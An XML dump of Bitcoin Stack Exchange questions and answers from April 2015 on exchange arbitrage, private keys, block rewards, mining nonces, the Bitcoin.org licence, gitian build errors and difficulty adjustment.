  <row Id="36848" PostTypeId="2" ParentId="36835" CreationDate="2015-04-09T14:02:46.467" Score="9" Body="&lt;p&gt;When exchange 'A' sells bitcoins for 200 dollars and exchange 'B' buys bitcoins for 300 dollars, there will be people who buy at 'A' and sell at 'B' as long as they can make money on it. This is called 'arbitrage'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of the open markets, people are free to do as they please, so there are people who buy and sell solely to make mere cents on the dollar. Because of this, there is usually not a lot of difference between the exchanges. The only difference in price between the exchanges as we can see them right now, is because of trading and/or withdrawal fees. (Exchange 'A' is 1 dollar cheaper than exchange 'B', because exchange A requires 1 dollar per withdrawal, meaning in the end you end up paying the same amount for 1 bitcoin at both exchanges.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of arbitrage, Google can pretty safely say the price of bitcoin is about XXX dollars / euros because if one exchange would go up or down with the price, they all would. (Exceptions sometimes occur, when one 'big fish' / whale dumps a lot of bitcoins on 1 exchange only, crashing the price on exchange 'A', but not immediately on exchange 'B'. Of course, because of arbitrage, this difference will become smaller with time.) Therefor there is no need to let a user know which exchange offers the lowest price, because they will most likely offer bitcoins for about the same price anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, exchanges do not 'set' an exchange rate, they merely offer people with bitcoins the opportunity to sell them to people looking to buy bitcoins. If everyone would suddenly start asking 1000 dollars per bitcoin (even though right now they're worth $245 each), there would be no other choice than to buy bitcoins at 1000 dollars each. Other than that, there is no way of 'setting' the price. (This price is never set by the exchange, only by the sellers.)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Technically speaking; Google gets the number by using the API (Application Programming Interface) of an exchange. Exchanges such as Kraken offer API's from which software can request the latest exchange rates. This way Google can let its users know what the latest exchange rate is.&lt;/p&gt;&#xA;" OwnerUserId="21294" LastEditorUserId="21294" LastEditDate="2015-04-12T17:05:07.700" LastActivityDate="2015-04-12T17:05:07.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36849" PostTypeId="2" ParentId="36846" CreationDate="2015-04-09T14:09:24.003" Score="1" Body="&lt;p&gt;Actually, bitcoins are not IN a wallet. They are and will always be 'ON' the blockchain. The blockchain says how many bitcoins each address owns. Our devices merely save our private keys (you could say, our passwords) for us, since we can't really remember those very well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can extract the private key from your wallet file, you can simply import the private key in pretty much every bitcoin wallet there is out there and claim the coins stored on the addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Keep your file(s) safe, because anyone with the private key can claim the coins and send them to another address you do not have the private key for!)&lt;/p&gt;&#xA;" OwnerUserId="21294" LastActivityDate="2015-04-09T14:09:24.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36850" PostTypeId="2" ParentId="36827" CreationDate="2015-04-09T14:27:16.157" Score="1" Body="&lt;p&gt;You could spend it on miners, actually mine some bitcoins and then sell the mined bitcoins for fiat again. And then the IRS will tax the mined bitcoins because they consider it 'profit'. Using bitcoins to launder money doesn't really make that much sense. Besides, everything is kept 'eternally', or at least until the year 2100 something, because what goes on the blockchain, stays on the blockchain. They can use your transactions to prosecute up until the crime 'expires'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Darkcoin however...&lt;/p&gt;&#xA;" OwnerUserId="21294" LastActivityDate="2015-04-09T14:27:16.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36851" PostTypeId="1" AcceptedAnswerId="37325" CreationDate="2015-04-09T14:34:03.050" Score="3" ViewCount="1423" Body="&lt;p&gt;I've been doing research to find a crypto-currency that is &quot;fairly&quot; distributed among the population. Being &quot;fair&quot; is quite subjective. We can all agree that 10 people that control a coin is not fair, but what about 100? or 1000? or 10,000?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is, which crypo currency or currencies have the most distribution? And the other question is distribution the same as adoption?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-05-10T12:50:32.843" Title="What is the most widely distributed crypto currency?" Tags="|altcoin|currencies|adoption|wealth-distribution|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36852" PostTypeId="2" ParentId="36842" CreationDate="2015-04-09T16:28:19.103" Score="1" Body="&lt;p&gt;Yes, you can.&#xA;Open bitcoind with -txindex=1&#xA;If you didn't use txindex=1, you might need to add -reindex to recreate transactions indice.&#xA;Therefore, you can use getrawtransaction to look up  spent transactions which are not belonging to you.&lt;/p&gt;&#xA;" OwnerUserId="24722" LastActivityDate="2015-04-09T16:28:19.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36853" PostTypeId="1" AcceptedAnswerId="36856" CreationDate="2015-04-09T17:43:02.227" Score="1" ViewCount="467" Body="&lt;p&gt;How can someone calculate the current/real-time value of a Bitcoin block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the equation/algorithm used to determine this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found a few resource online, but I'm a little confused&lt;/p&gt;&#xA;" OwnerUserId="25005" LastEditorUserId="2306" LastEditDate="2015-04-09T19:51:48.153" LastActivityDate="2015-04-14T08:11:36.140" Title="Bitcoin Block Reward value" Tags="|mining-reward|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36854" PostTypeId="2" ParentId="36851" CreationDate="2015-04-09T17:53:49.103" Score="1" Body="&lt;p&gt;As you noted, a lot of this depends on how you define your terms. In an Objectivist sense, all currencies are equally fair. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we look at fairness in terms of information disparity, we can see some clear winners and losers. Information disparity is important because if insiders know that their coin is technically sound before the general public does, they can snap up coins while they're cheap.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SolidCoin had 50% of its mining controlled by &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1583/who-controls-solidcoins-special-millionaire-accounts&quot;&gt;special accounts&lt;/a&gt; that were handed out to secret parties in a secret process. (Or possibly they weren't handed out at all. There's some disagreement on that point.)  &lt;/li&gt;&#xA;&lt;li&gt;Litecoin published its source code prior to it's launch, and allowed people to mine on a test network. At launch, its code was well-understood.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If we define fairness in terms of &quot;one person, one coin:&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;AuroraCoin is a clear winner. They issued an equal amount of coins to all icelanders. They actually verified that the people claiming coins were distinct people, and not scammers.&lt;/li&gt;&#xA;&lt;li&gt;One of the heavily premined altcoins (there's plenty of 'em to choose from) is a clear loser.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You also ask about which coin has the most distribution, which is a different question from which one is distributed the most fairly. In terms of active users, Bitcoin probably still has the most users. (Dogecoin is catching up, though.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of inactive users, AuroraCoin theoretically has 300,000 owners. (Of course, by that measure, you could increase adoption of your *coin of choice by putting money into private keys and emailing them to random people on the Internet.)&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2015-05-10T00:22:54.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36855" PostTypeId="2" ParentId="36851" CreationDate="2015-04-09T17:59:22.953" Score="0" Body="&lt;p&gt;Clearly Bitcoin. Because it uses the only decentralized method of distribution known to man. Plus it has had the longest time to run and even under the radar for quite a few years (anything started now won't have that chance anymore).&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-04-09T17:59:22.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36856" PostTypeId="2" ParentId="36853" CreationDate="2015-04-09T18:27:09.720" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How can someone calculate the current/real-time value of a Bitcoin&#xA;  block?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;run &lt;code&gt;bitcoin-cli getblockcount&lt;/code&gt; to get current &lt;strong&gt;block_height&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;current_block_reward = 50 / [(block_height MOD 210000) + 1]&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What is the equation/algorithm used to determine this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Value the of a Bitcoin block defined &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.0/src/main.cpp#L1223&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. The default value is 50 * 100,000,000 Satoshis. &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After every &quot;&lt;strong&gt;SubsidyHalvingInterval&lt;/strong&gt;&quot; blocks, the reward of each block halved. The &lt;strong&gt;SubsidyHalvingInterval&lt;/strong&gt; is defined &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.0/src/chainparams.cpp#L118&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CAmount GetBlockValue(int nHeight, const CAmount&amp;amp; nFees)&#xA;{&#xA;    CAmount nSubsidy = 50 * COIN;&#xA;    int halvings = nHeight / Params().SubsidyHalvingInterval();&#xA;&#xA;    // Force block reward to zero when right shift is undefined.&#xA;    if (halvings &amp;gt;= 64)&#xA;        return nFees;&#xA;&#xA;    // Subsidy is cut in half every 210,000 blocks which will occur approximately every 4 years.&#xA;    nSubsidy &amp;gt;&amp;gt;= halvings;&#xA;&#xA;    return nSubsidy + nFees;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24601" LastActivityDate="2015-04-09T18:27:09.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36858" PostTypeId="2" ParentId="36649" CreationDate="2015-04-09T19:26:20.130" Score="10" Body="&lt;p&gt;You can use the invalidateblock RPC commands to create blockchain forks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;invalidateblock &lt;em&gt;hash&lt;/em&gt; tells a node to consider &lt;em&gt;hash&lt;/em&gt; invalid, so just generate a bunch of blocks, invalidate one somewhere down the chain on one of the regtest nodes, and have that node generate a bunch more to create a fork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See qa/rpc-tests/mempool_resurrect_test.py in the Bitcoin Core tree for a python example.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2015-04-09T19:26:20.130" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36859" PostTypeId="2" ParentId="36835" CreationDate="2015-04-09T19:37:10.147" Score="1" Body="&lt;p&gt;People &lt;strong&gt;&lt;em&gt;buy low and sell high&lt;/em&gt;&lt;/strong&gt; across exchanges. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It keeps bitcoin prices from different exchanges stay almost the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In early days, the difference among exchanges could be 50 $/bitcion. It might be still profitable to catch these opportunities : ) &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a orderbook from different bitcoin exchanges when I am writing answer &#xA;&lt;img src=&quot;https://i.stack.imgur.com/WSJya.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="24601" LastActivityDate="2015-04-09T19:37:10.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36860" PostTypeId="1" AcceptedAnswerId="36863" CreationDate="2015-04-10T03:44:56.013" Score="-1" ViewCount="515" Body="&lt;p&gt;I recently started to pay attention to what's going on at crypto-markets and, being developer for a long time, decided to take a look at the software we have out there in public access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have a question to all crypto-guru here:&#xA;As it seems from Bitcoin protocol specification, bitcoin will accept &lt;em&gt;ANY&lt;/em&gt; nonce that satisfies target (block) bits condition. Every single miner I've seen made public is using sequential loop over nonce1 and nonce2.&#xA;actual question: why do people implement +1 for the nonce in every thread, instead, let's say, having 2 thread one is going +1 from the beginning; second one is counting -1 from the end of nonces interval?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my humble opinion, it would be faster if you're running several threads on the same interval...or, in the perfect world, split the entire interval in N subintervals leaving every thread do its own piece. From the mathematical point of view it seems like we gonna get higher probability of hitting 'golden nonce' using this approach, as opposed to +1 over the entire interval. Am I wrong here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;having all that said, I've downloaded the blockchain and ran couple of tests to see nonce distribution in uint32_t interval. results didn't surprise me...I've got pretty much uniform nonce distribution like:&#xA;odd nonce: 49.997&#xA;even nonce: 50.003&lt;/p&gt;&#xA;&#xA;&lt;p&gt;split uint32_t into 1024 identical intervals and see how many nonces from existing blockchain are sitting in every interval. results are the same: uniform distribution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;again, why is it +1 in the miner loop? even though, (+3), (-2) would have yielded (in theory) better chances (faster) finding golden nonce vs others doing (+1).  &lt;/p&gt;&#xA;" OwnerUserId="25013" LastEditorUserId="5406" LastEditDate="2021-03-07T22:00:31.383" LastActivityDate="2021-03-07T22:00:31.383" Title="Bitcoin (and other crypto-coins) nonce loop" Tags="|mining-theory|nonce|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="36861" PostTypeId="1" CreationDate="2015-04-10T04:16:39.007" Score="1" ViewCount="448" Body="&lt;p&gt;What license is used for the content of &lt;a href=&quot;http://www.bitcoin.org&quot; rel=&quot;nofollow&quot;&gt;Bitcoin.org&lt;/a&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the footer of the website we can find that the website is licensed under the &lt;a href=&quot;http://opensource.org/licenses/mit-license.php&quot; rel=&quot;nofollow&quot;&gt;MIT license&lt;/a&gt;, but the MIT licensed is used only for code, right? I also have looked at &lt;a href=&quot;https://bitcoin.org/en/legal&quot; rel=&quot;nofollow&quot;&gt;Legal disclaimer&lt;/a&gt; and the &lt;a href=&quot;https://bitcoin.org/en/faq&quot; rel=&quot;nofollow&quot;&gt;Frequently Asked Questions section&lt;/a&gt;, but I couldn't find the answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Under which license is the content of Bitcoin.org available? CC BY 3.0? CC BY 4.0? MIT?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9450" LastEditorUserId="5406" LastEditDate="2015-05-08T10:36:49.750" LastActivityDate="2015-05-08T10:36:49.750" Title="What license is used for the content of Bitcoin.org?" Tags="|websites|license|bitcoin.org|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36862" PostTypeId="2" ParentId="36861" CreationDate="2015-04-10T05:18:27.450" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;but MIT licensed is used only for code, right?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Typically, but it's also used for documentation too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, all of the content on bitcoin.org is MIT licensed. &lt;a href=&quot;http://bitcoin.org/COPYING&quot; rel=&quot;nofollow&quot;&gt;Source.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-04-10T14:33:23.830" LastActivityDate="2015-04-10T14:33:23.830" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36863" PostTypeId="2" ParentId="36860" CreationDate="2015-04-10T06:05:46.453" Score="1" Body="&lt;p&gt;The distribution of wining nonces is skewed toward 0 because this is a &lt;a href=&quot;http://en.wikipedia.org/wiki/Selection_bias&quot; rel=&quot;nofollow noreferrer&quot;&gt;selection effect&lt;/a&gt;: most everyone starts searching for nonces starting at 0, so the lower nonces are found first, even though there may be also higher nonces that could produce a winning block:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Hunmr.png&quot; alt=&quot;winning nonce values distribution&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This illustrates very well that the distribution of nonces is uniform:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4LIaG.png&quot; alt=&quot;histogram of valid nonces and hashes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;source: &lt;a href=&quot;https://en.bitcoin.it/wiki/Distribution_of_nonces_and_hashes&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Distribution_of_nonces_and_hashes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, +1 in the miner loop is the simplest way of changing the nonce, and it works because the valid nonce distribution is uniform. ASICs often deal with nonces very differently. Also, ASICs can scan the entire nonce range very quickly, so it doesn't really matter where you start looking for a valid nonce.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-04-10T06:05:46.453" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="36864" PostTypeId="2" ParentId="36860" CreationDate="2015-04-10T06:57:20.550" Score="2" Body="&lt;p&gt;If you use four threads and split the range over the four threads, that means each thread finishes its range and starts a new one four times as often. That's clearly a losing proposition over giving each thread its own full range.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-04-10T06:57:20.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36867" PostTypeId="1" CreationDate="2015-04-10T13:34:08.797" Score="1" ViewCount="653" Body="&lt;p&gt;Actually I'm making a logos windows exe (logosd and logos-qt) following the release process, which is mention on below path on any coin you can find that path, I'm working logos LGS Coin that's why I'm mentioning.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;logos/contrib/gitian-descriptor/README&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;# Build Win32 dependencies: These three command successfully completed and generated a zip file&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bin/gbuild --commit logos=HEAD ../logos/contrib/gitian-descriptors/boost-win32.yml&#xA;./bin/gbuild --commit logos=HEAD ../logos/contrib/gitian-descriptors/deps-win32.yml&#xA;./bin/gbuild --commit logos=HEAD ../logos/contrib/gitian-descriptors/qt-win32.yml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I run below mention command it will give me error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;# Build Win32 release:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bin/gbuild --commit logos=HEAD ../logos/contrib/gitian-descriptors/gitian-win32.yml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Error&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/home/ubuntu/build/logos/src/leveldb/libleveldb.a: could not read symbols: Archive has no index; run ranlib to add one&#xA;collect2: ld returned 1 exit status&#xA;make[1]: *** [release/logos-qt.exe] Error 1&#xA;make[1]: Leaving directory `/home/ubuntu/build/logos'&#xA;make: *** [release] Error 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've search on internet found that execute these command ranlib libleveldb.a  and it will compile, but still I'm getting same error again and again.&#xA;So please let me know how to resolve that issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My System is ubuntu 14.04 64bit architecture.&lt;/p&gt;&#xA;" OwnerUserId="23109" LastActivityDate="2015-04-12T06:46:14.590" Title="Error While making windows.exe using gitian build?" Tags="|bitcoind|bitcoin-core|ubuntu|cryptography|leveldb|" AnswerCount="0" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36868" PostTypeId="2" ParentId="36861" CreationDate="2015-04-10T13:40:26.653" Score="1" Body="&lt;p&gt;The github repo for the site has this 'COPYING' licence terms:&#xA;&lt;a href=&quot;https://github.com/bitcoin/bitcoin.org/blob/master/COPYING&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin.org/blob/master/COPYING&lt;/a&gt;&#xA;&lt;code&gt;&#xA;The intellectual property rights in the files are owned by the respective&#xA;authors. Some of the files can be licensed under MIT License (MIT) available on&#xA;http://opensource.org/licenses/MIT or other licenses. Appropriate licensing&#xA;information can be found in the header of the file or in the folder containing&#xA;the file.&#xA;&lt;/code&gt;&#xA;TL;DR; It's MIT, except where it is not&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2015-04-10T13:40:26.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36869" PostTypeId="2" ParentId="36861" CreationDate="2015-04-10T14:11:52.873" Score="3" Body="&lt;p&gt;I've posted this question on &lt;a href=&quot;https://github.com/bitcoin/bitcoin.org/issues/817#issuecomment-91542344&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin.org GitHub repository&lt;/a&gt; and I've got the answer.&lt;/p&gt;&#xA;&lt;p&gt;According to @harding, from Github, the content of Bitcoin.org is commonly licensed under MIT, only not when specified. &lt;a href=&quot;https://github.com/bitcoin/bitcoin.org/issues/817#issuecomment-91542344&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is his full answer&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;the MIT license, as stated. You can also check the COPYING file in the repository, which says;&lt;/p&gt;&#xA;&lt;p&gt;The intellectual property rights in the files are owned by the respective authors. Some of the files can be licensed under MIT License (MIT) available on &lt;a href=&quot;http://opensource.org/licenses/MIT&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://opensource.org/licenses/MIT&lt;/a&gt; or other licenses. Appropriate licensing information can be found in the header of the file or in the folder containing the file.&lt;/p&gt;&#xA;&lt;p&gt;In general, text files have the license information near the top and image files have the license information in a file in the directory.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;@saivan commented:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;[FAQ] certain pictures listed on the page are not MIT licensed (see the COPYING file here: &lt;a href=&quot;https://github.com/bitcoin/bitcoin.org/tree/master/img/faq&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin.org/tree/master/img/faq&lt;/a&gt;). This being said, although I am not a lawyer, I think you can easily use screenshots like this without much copyright issues&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Thanks for your replies, guys, but I will elect this one as the best answer cause this is the response I really wanted.&lt;/p&gt;&#xA;" OwnerUserId="9450" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-04-10T15:51:14.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36870" PostTypeId="1" AcceptedAnswerId="36871" CreationDate="2015-04-10T15:34:47.163" Score="1" ViewCount="62" Body="&lt;p&gt;I am a little confused here. Why the Age of older Block[351542] is younger than Block[351543]. &lt;br/&gt; &lt;br/&gt;&#xA;Here is the screenshot from blockchain.info&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F0fPn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="24601" LastActivityDate="2015-04-10T15:40:36.350" Title="Why Block351543 is older than Block351542?" Tags="|block|" AnswerCount="1" CommentCount="0" ClosedDate="2015-04-10T15:43:46.823" ContentLicense="CC BY-SA 3.0" />
  <row Id="36871" PostTypeId="2" ParentId="36870" CreationDate="2015-04-10T15:40:36.350" Score="3" Body="&lt;p&gt;Because blocks are created on different computers. The clock may be slightly different on them. This is not a problem for bitcoin protocol&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-04-10T15:40:36.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36872" PostTypeId="2" ParentId="36745" CreationDate="2015-04-10T19:05:15.797" Score="0" Body="&lt;p&gt;Difficulty is essentially calculated as ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;difficult adjustment&lt;/code&gt; proportional to &lt;code&gt;actual time / ideal time&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty%23What_is_the_formula_for_difficulty.3F&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wiki's Difficulty article&lt;/a&gt;, an example of calculating one of the difficulty values, ie &lt;em&gt;actual time&lt;/em&gt; or &lt;em&gt;ideal time&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x0404cb * 2^(8*(0x1b - 3))&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is essentially &lt;code&gt;k * 2^(8*(0x1b - 3))&lt;/code&gt;, where &lt;code&gt;k&lt;/code&gt; is a constant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So notice it's exponents we're dealing with, in base 2, ie 2^(a huge number). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the loss of precision occurs with way difficulty is expressed, were essentially dealing with ratios of &lt;code&gt;2^exponent1&lt;/code&gt; / &lt;code&gt;2^exponent2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it has to be a multiple of 4, since we're taking ratios of base 2 exponents. Even if the bottom value were 0, so 2^0 = 1, 2^32/2^0, a multiple of 4  &lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-04-10T19:05:15.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36873" PostTypeId="1" CreationDate="2015-04-10T19:43:36.993" Score="1" ViewCount="133" Body="&lt;p&gt;The block target in Bitcoin is encoded in block headers as a &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty#How_is_difficulty_stored_in_blocks.3F&quot; rel=&quot;nofollow&quot;&gt;24 bit integer raised to an 8 bit exponent:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int(nBits[1:4]) * 2 ** (8 * (int(nBits[0]) - 3))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are there multiple &lt;code&gt;nBits&lt;/code&gt; representations of the same target value? Are they interchangeable? That is, could a miner choose any of them?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-04-11T20:58:16.920" LastActivityDate="2015-04-11T20:58:16.920" Title="Are there multiple representations of the same target value? Are they interchangable?" Tags="|difficulty|block-header|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36875" PostTypeId="2" ParentId="36745" CreationDate="2015-04-10T20:28:10.963" Score="2" Body="&lt;p&gt;You need restrict how much difficulty can change. Imagine if someone managed to forge the timestamps on the block that they were creating, and make it so that it appeared that it only took one second to generate 2016 blocks. Should difficulty then go up by 1209600? Clearly, that would be ridiculous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, you need to make the adjustment flexible enough to adapt to unforeseen advances. 4 is an arbitrary value picked as a compromise between these two requirements.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-04-10T20:28:10.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36876" PostTypeId="1" AcceptedAnswerId="36878" CreationDate="2015-04-11T12:50:32.243" Score="0" ViewCount="1286" Body="&lt;p&gt;I backed up my private keys this way: Opened my peerunity wallet (bitcoin-qt fork), opened Debug window, issued dumpprivkey  and I got my private key. Then, I wrote it on a piece of paper (!). Now, I would like to recover it. The wallet was encrypted at the time of dumping priv key. I have the key I used to encrypt it. Is privkey on my paper encrypted somehow? Peerunity is not accepting it when I'm trying to importprivkey. (tried it repeatedly)&lt;/p&gt;&#xA;" OwnerUserId="18751" LastActivityDate="2015-04-11T16:03:02.723" Title="Private keys importing in format got by dumpprivkey" Tags="|wallet|private-key|recover-private-key|private-key-import|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36877" PostTypeId="1" AcceptedAnswerId="36884" CreationDate="2015-04-11T14:58:52.190" Score="7" ViewCount="601" Body="&lt;p&gt;Say some country decides to somehow block all outgoing Stellar connections for 30 minutes. With a voting based consensus that Stellar has chains in both networks progress with a similar speed. After the network split is over there will be two Stellar networks with a diverged history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would such an outcome be resolved/avoided with the new consensus changes? Is there some way to determine which network state is correct after the split? Can the smaller split network know that it's split and pause accepting transactions?&lt;/p&gt;&#xA;" OwnerUserId="25028" LastEditorUserId="7267" LastEditDate="2015-04-11T15:52:16.073" LastActivityDate="2015-04-28T10:52:35.887" Title="What happens when a fork/network split occurs on the Stellar network?" Tags="|stellar|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
